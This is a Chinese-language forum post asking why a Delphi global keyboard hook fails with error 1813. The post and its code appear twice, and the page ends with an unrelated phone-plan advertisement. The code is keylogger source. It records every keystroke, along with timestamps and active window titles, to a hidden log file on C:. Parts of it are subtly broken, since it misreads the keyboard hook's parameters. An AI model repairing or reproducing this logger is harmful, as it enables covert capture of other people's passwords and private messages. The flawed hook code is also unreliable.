代码如下:
unit HKproc;interface
uses windows,Messages,Classes,SysUtils,Dialogs,Variants;
var
hNextHookProc:HHOOK;
procSaveExit:Pointer;
G_lastFocus:THandle;
G_PrevChar:Char;
error:DWORD;
function KeyBHkHandle(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
function EnableHotKeyHooK:BOOL;export;
function DisableHotKeyHook:BOOL;export;
procedure HotKeyHookExit;far;const
_KeyPressMask=$80000000;implementationfunction KeyBHkHandle(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;
stdcall; export;
const
SfileName='c:\logfile.txt';//记录保存本地地址
var
pEvt:TEventMsg;
hFocus:THandle;
szTitle:array[0..255] of Char;
Stream:TextFile;
vKey:Integer;
ch:Char;
str:array[0..10] of Char;
pt:TDateTime;
time1:string;
iCtrl,iAlt,iShift:Integer;
iNumLock:Integer;
iCapital:Integer;
bAlt,bCtrl,bShift,bCapital,bNumlocl:Boolean;
MouPos:TPoint;
StrString:string;
SPCH:Char;
begin
Result:=0;
if (iCode<0) then begin
Result:=CallNextHookEx(hNextHookProc,iCode,wParam,integer(lParam));
exit;
end;
if iCode=HC_ACTION then begin
pEvt:=PEventMsg(lParam)^;
//if not FileExists(SfileName) then
// FileCreate(SfileName);
AssignFile(Stream,SfileName);
if not FileExists(SfileName) then
Rewrite(Stream)
else
Append(Stream);
if pEvt.message=WM_KEYDOWN then begin
vKey:=LOBYTE(pEvt.paramL); hFocus:=GetActiveWindow;
if G_lastFocus<>hFocus then begin
GetWindowText(hFocus,szTitle,256);
G_lastFocus:=hFocus;
pt:=Now;
time1:=FormatDateTime('yyyymmmmd,dddd hh:mm:ss:zzz ',pt);
time1:=time1+' '+szTitle;
Writeln(Stream,Time1);
end;
iShift:=GetKeyState(VK_SHIFT);
iCapital:=GetKeyState(VK_CAPITAL);
iNumLock:=GetKeyState(VK_NUMLOCK);
iCtrl:=GetKeyState(VK_CONTROL);
iAlt:=GetKeyState(VK_MENU);
if ((iShift and _KeyPressMask)=_KeyPressMask) then begin
bShift:=True;
end
else begin
bShift:=False;
end;
if ((iCtrl and _KeyPressMask)=_KeyPressMask) then begin
bCtrl:=True;
end
else begin
bCtrl:=False;
end;
if ((iAlt and _KeyPressMask)=_KeyPressMask) then begin
bAlt:=True;
end
else begin
bAlt:=False;
end;
bCapital:=(iCapital and 1)=1;
bNumlocl:=(iNumLock and 1)=1;
if (vKey>=48)and(vKey<=57) then begin
if not bShift then
Write(Stream,char(vKey));
end;
if (vKey>=65)and(vKey<=90) then begin
if not bCapital then begin
if bShift then
ch:=char(vKey)
else
ch:=char(vKey+32);
end
else begin
if bShift then
ch:=char(vKey+32)
else
ch:=char(vKey);
end;
Write(Stream,ch);
end;
if (vKey>=96)and(vKey<=105) then begin
if bNumlocl then begin
write(Stream,char(vKey-96+48));
end;
end;
if (vKey>=186)and(vKey<=222) then begin
case vKey of
186:begin
if not bShift then
ch:=';'
else
ch:=':'
end;
187:begin
if not bShift then
ch:='='
else
ch:='+'
end;
188:begin
if not bShift then
ch:=','
else
ch:='<'
end;
189:begin
if not bShift then
ch:='-'
else
ch:='_'
end;
190:begin
if not bShift then
ch:='.'
else
ch:='>'
end;
191:begin
if not bShift then
ch:='/'
else
ch:='?'
end;
192:begin
if not bShift then
ch:='`'
else
ch:='~'
end;
219:begin
if not bShift then
ch:='['
else
ch:='{'
end;
220:begin
if not bShift then
ch:='\'
else
ch:='|'
end;
221:begin
if not bShift then
ch:=']'
else
ch:='}';
end;
222:begin
if not bShift then
ch:='`'
else
ch:='"';
end;
else
ch:='n'
end;
if ch<>'n' then
write(Stream,ch);
end;
end;
if (vKey<=VK_F12)and(vKey>=VK_F1) then begin
time1:=FormatDateTime('yyyymmmmd,dddd hh:mm:ss:zzz ',now);
StrString:=Time1+' 按功能键:F'+IntToStr(vKey-111)+'。';
Writeln(Stream,StrString);
end;
if vKey=VK_ESCAPE then begin
write(stream,'[ESC]');
end;
if vKey=VK_ADD then begin
write(Stream,'+');
end;
if vKey=VK_APPS then begin
Write(Stream,'[APPS]');
end;
if vKey=VK_LWIN then begin
Write(Stream,'[LWIN]');
end;
if vKey=VK_RWIN then begin
Write(Stream,'[RWIN]');
end;
if vKey=VK_SPACE then
Write(Stream,'[SPACE]');
if vKey=VK_DIVIDE then
Write(Stream,'[/]');
if vKey=VK_SCROLL then
Write(Stream,'[SCROLLLock]');
if vKey=VK_PAUSE then
Write(Stream,'[PAUSE]');
if vKey=VK_SUBTRACT then
Write(Stream,'[-]');
if vKey=VK_MULTIPLY then
Write(Stream,'[*]');
if vKey=VK_SNAPSHOT then
Write(Stream,'[PRINT SCREEN Sys Rq]');
if vKey=VK_CAPITAL then
Write(Stream,'[CAP LOCK]');
if vKey=VK_NUMLOCK then
Write(Stream,'[NUM LOCK]');
if vKey=VK_DECIMAL then
Write(Stream,'[.]');
if vKey=VK_CONTROL then
Write(Stream,'[CTRL]');
if vKey=VK_LMENU then
Write(Stream,'[ALT]');
if bShift then begin
case vKey of
48:spch:=')';
49:spch:='!';
50:spch:='@';
51:spch:='#';
52:spch:='$';
53:spch:='%';
54:spch:='^';
55:spch:='&';
56:spch:='*';
57:spch:='(';
else
spch:='n';
end;
if spch<>'n' then
Write(Stream,spch);
end;
if (vKey>=8)and(vKey<=46) then begin
case vKey of
8:str:='[BK]';
9:str:='[TAB]';
13:str:='[EN]';
32:str:='[SP]';
33:str:='[PU]';
34:str:='[PD]';
35:str:='[END]';
36:str:='[HOME]';
37:str:='[LF]';
38:str:='[UF]';
39:str:='[RF]';
40:str:='[DF]';
45:str:='[INS]';
46:str:='[DEL]';
else
ch:='n';
end;
if ch<>'n' then begin
Write(Stream,Str);
if vKey=VK_RETURN then begin
Writeln(Stream,'');
writeln(Stream,'输 入 回 车 可 能 是 确 认 或 是 换 行---');
Writeln(Stream,'')
end;
end;
end;
if (pEvt.message=WM_LBUTTONDOWN)or(pEvt.message=WM_RBUTTONDOWN) then begin
hFocus:=GetActiveWindow;
if (G_lastFocus<>hFocus) then begin
G_lastFocus:=hFocus;
GetWindowText(hFocus,szTitle,256);
pt:=Now;
time1:=FormatDateTime('yyyymmmmd,dddd hh:mm:ss:zzz ',pt);
time1:=time1+' '+szTitle;
Writeln(Stream,Time1);
end
end;
CloseFile(Stream);
Result:=1;
end;
end;function EnableHotKeyHooK:BOOL; export;
begin
Result:=False; if hNextHookProc<>0 then
begin
Writeln(G_lastFocus);
exit; end;
hNextHookProc:=SetWindowsHookEx(WH_KEYBOARD,KeyBHkHandle,HInstance,0);
error:=GetLastError;
writeln(error);
Result:=(hNextHookProc<>0);
//
end;function DisableHotKeyHook:BOOL; export;
begin
if hNextHookProc<>0 then begin
UnhookWindowsHookEx(hNextHookProc);
hNextHookProc:=0;
MessageBeep(0);
MessageBeep(0);
end;
Result:=hNextHookProc=0;
//
end;procedure HotKeyHookExit; far;
begin
if hNextHookProc<>0 then
DisableHotKeyHook;
ExitProc:=procSaveExit;
//
end;end.
在引用函数EnableHotKeyHooK时,setWindowsHookEx返回总是0,后用GetLastError查错误代码为1813,不知到如何修改代码??
unit HKproc;interface
uses windows,Messages,Classes,SysUtils,Dialogs,Variants;
var
hNextHookProc:HHOOK;
procSaveExit:Pointer;
G_lastFocus:THandle;
G_PrevChar:Char;
error:DWORD;
function KeyBHkHandle(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
function EnableHotKeyHooK:BOOL;export;
function DisableHotKeyHook:BOOL;export;
procedure HotKeyHookExit;far;const
_KeyPressMask=$80000000;implementationfunction KeyBHkHandle(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;
stdcall; export;
const
SfileName='c:\logfile.txt';//记录保存本地地址
var
pEvt:TEventMsg;
hFocus:THandle;
szTitle:array[0..255] of Char;
Stream:TextFile;
vKey:Integer;
ch:Char;
str:array[0..10] of Char;
pt:TDateTime;
time1:string;
iCtrl,iAlt,iShift:Integer;
iNumLock:Integer;
iCapital:Integer;
bAlt,bCtrl,bShift,bCapital,bNumlocl:Boolean;
MouPos:TPoint;
StrString:string;
SPCH:Char;
begin
Result:=0;
if (iCode<0) then begin
Result:=CallNextHookEx(hNextHookProc,iCode,wParam,integer(lParam));
exit;
end;
if iCode=HC_ACTION then begin
pEvt:=PEventMsg(lParam)^;
//if not FileExists(SfileName) then
// FileCreate(SfileName);
AssignFile(Stream,SfileName);
if not FileExists(SfileName) then
Rewrite(Stream)
else
Append(Stream);
if pEvt.message=WM_KEYDOWN then begin
vKey:=LOBYTE(pEvt.paramL); hFocus:=GetActiveWindow;
if G_lastFocus<>hFocus then begin
GetWindowText(hFocus,szTitle,256);
G_lastFocus:=hFocus;
pt:=Now;
time1:=FormatDateTime('yyyymmmmd,dddd hh:mm:ss:zzz ',pt);
time1:=time1+' '+szTitle;
Writeln(Stream,Time1);
end;
iShift:=GetKeyState(VK_SHIFT);
iCapital:=GetKeyState(VK_CAPITAL);
iNumLock:=GetKeyState(VK_NUMLOCK);
iCtrl:=GetKeyState(VK_CONTROL);
iAlt:=GetKeyState(VK_MENU);
if ((iShift and _KeyPressMask)=_KeyPressMask) then begin
bShift:=True;
end
else begin
bShift:=False;
end;
if ((iCtrl and _KeyPressMask)=_KeyPressMask) then begin
bCtrl:=True;
end
else begin
bCtrl:=False;
end;
if ((iAlt and _KeyPressMask)=_KeyPressMask) then begin
bAlt:=True;
end
else begin
bAlt:=False;
end;
bCapital:=(iCapital and 1)=1;
bNumlocl:=(iNumLock and 1)=1;
if (vKey>=48)and(vKey<=57) then begin
if not bShift then
Write(Stream,char(vKey));
end;
if (vKey>=65)and(vKey<=90) then begin
if not bCapital then begin
if bShift then
ch:=char(vKey)
else
ch:=char(vKey+32);
end
else begin
if bShift then
ch:=char(vKey+32)
else
ch:=char(vKey);
end;
Write(Stream,ch);
end;
if (vKey>=96)and(vKey<=105) then begin
if bNumlocl then begin
write(Stream,char(vKey-96+48));
end;
end;
if (vKey>=186)and(vKey<=222) then begin
case vKey of
186:begin
if not bShift then
ch:=';'
else
ch:=':'
end;
187:begin
if not bShift then
ch:='='
else
ch:='+'
end;
188:begin
if not bShift then
ch:=','
else
ch:='<'
end;
189:begin
if not bShift then
ch:='-'
else
ch:='_'
end;
190:begin
if not bShift then
ch:='.'
else
ch:='>'
end;
191:begin
if not bShift then
ch:='/'
else
ch:='?'
end;
192:begin
if not bShift then
ch:='`'
else
ch:='~'
end;
219:begin
if not bShift then
ch:='['
else
ch:='{'
end;
220:begin
if not bShift then
ch:='\'
else
ch:='|'
end;
221:begin
if not bShift then
ch:=']'
else
ch:='}';
end;
222:begin
if not bShift then
ch:='`'
else
ch:='"';
end;
else
ch:='n'
end;
if ch<>'n' then
write(Stream,ch);
end;
end;
if (vKey<=VK_F12)and(vKey>=VK_F1) then begin
time1:=FormatDateTime('yyyymmmmd,dddd hh:mm:ss:zzz ',now);
StrString:=Time1+' 按功能键:F'+IntToStr(vKey-111)+'。';
Writeln(Stream,StrString);
end;
if vKey=VK_ESCAPE then begin
write(stream,'[ESC]');
end;
if vKey=VK_ADD then begin
write(Stream,'+');
end;
if vKey=VK_APPS then begin
Write(Stream,'[APPS]');
end;
if vKey=VK_LWIN then begin
Write(Stream,'[LWIN]');
end;
if vKey=VK_RWIN then begin
Write(Stream,'[RWIN]');
end;
if vKey=VK_SPACE then
Write(Stream,'[SPACE]');
if vKey=VK_DIVIDE then
Write(Stream,'[/]');
if vKey=VK_SCROLL then
Write(Stream,'[SCROLLLock]');
if vKey=VK_PAUSE then
Write(Stream,'[PAUSE]');
if vKey=VK_SUBTRACT then
Write(Stream,'[-]');
if vKey=VK_MULTIPLY then
Write(Stream,'[*]');
if vKey=VK_SNAPSHOT then
Write(Stream,'[PRINT SCREEN Sys Rq]');
if vKey=VK_CAPITAL then
Write(Stream,'[CAP LOCK]');
if vKey=VK_NUMLOCK then
Write(Stream,'[NUM LOCK]');
if vKey=VK_DECIMAL then
Write(Stream,'[.]');
if vKey=VK_CONTROL then
Write(Stream,'[CTRL]');
if vKey=VK_LMENU then
Write(Stream,'[ALT]');
if bShift then begin
case vKey of
48:spch:=')';
49:spch:='!';
50:spch:='@';
51:spch:='#';
52:spch:='$';
53:spch:='%';
54:spch:='^';
55:spch:='&';
56:spch:='*';
57:spch:='(';
else
spch:='n';
end;
if spch<>'n' then
Write(Stream,spch);
end;
if (vKey>=8)and(vKey<=46) then begin
case vKey of
8:str:='[BK]';
9:str:='[TAB]';
13:str:='[EN]';
32:str:='[SP]';
33:str:='[PU]';
34:str:='[PD]';
35:str:='[END]';
36:str:='[HOME]';
37:str:='[LF]';
38:str:='[UF]';
39:str:='[RF]';
40:str:='[DF]';
45:str:='[INS]';
46:str:='[DEL]';
else
ch:='n';
end;
if ch<>'n' then begin
Write(Stream,Str);
if vKey=VK_RETURN then begin
Writeln(Stream,'');
writeln(Stream,'输 入 回 车 可 能 是 确 认 或 是 换 行---');
Writeln(Stream,'')
end;
end;
end;
if (pEvt.message=WM_LBUTTONDOWN)or(pEvt.message=WM_RBUTTONDOWN) then begin
hFocus:=GetActiveWindow;
if (G_lastFocus<>hFocus) then begin
G_lastFocus:=hFocus;
GetWindowText(hFocus,szTitle,256);
pt:=Now;
time1:=FormatDateTime('yyyymmmmd,dddd hh:mm:ss:zzz ',pt);
time1:=time1+' '+szTitle;
Writeln(Stream,Time1);
end
end;
CloseFile(Stream);
Result:=1;
end;
end;function EnableHotKeyHooK:BOOL; export;
begin
Result:=False; if hNextHookProc<>0 then
begin
Writeln(G_lastFocus);
exit; end;
hNextHookProc:=SetWindowsHookEx(WH_KEYBOARD,KeyBHkHandle,HInstance,0);
error:=GetLastError;
writeln(error);
Result:=(hNextHookProc<>0);
//
end;function DisableHotKeyHook:BOOL; export;
begin
if hNextHookProc<>0 then begin
UnhookWindowsHookEx(hNextHookProc);
hNextHookProc:=0;
MessageBeep(0);
MessageBeep(0);
end;
Result:=hNextHookProc=0;
//
end;procedure HotKeyHookExit; far;
begin
if hNextHookProc<>0 then
DisableHotKeyHook;
ExitProc:=procSaveExit;
//
end;end.
在引用函数EnableHotKeyHooK时,setWindowsHookEx返回总是0,后用GetLastError查错误代码为1813,不知到如何修改代码??
解决方案 »
免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货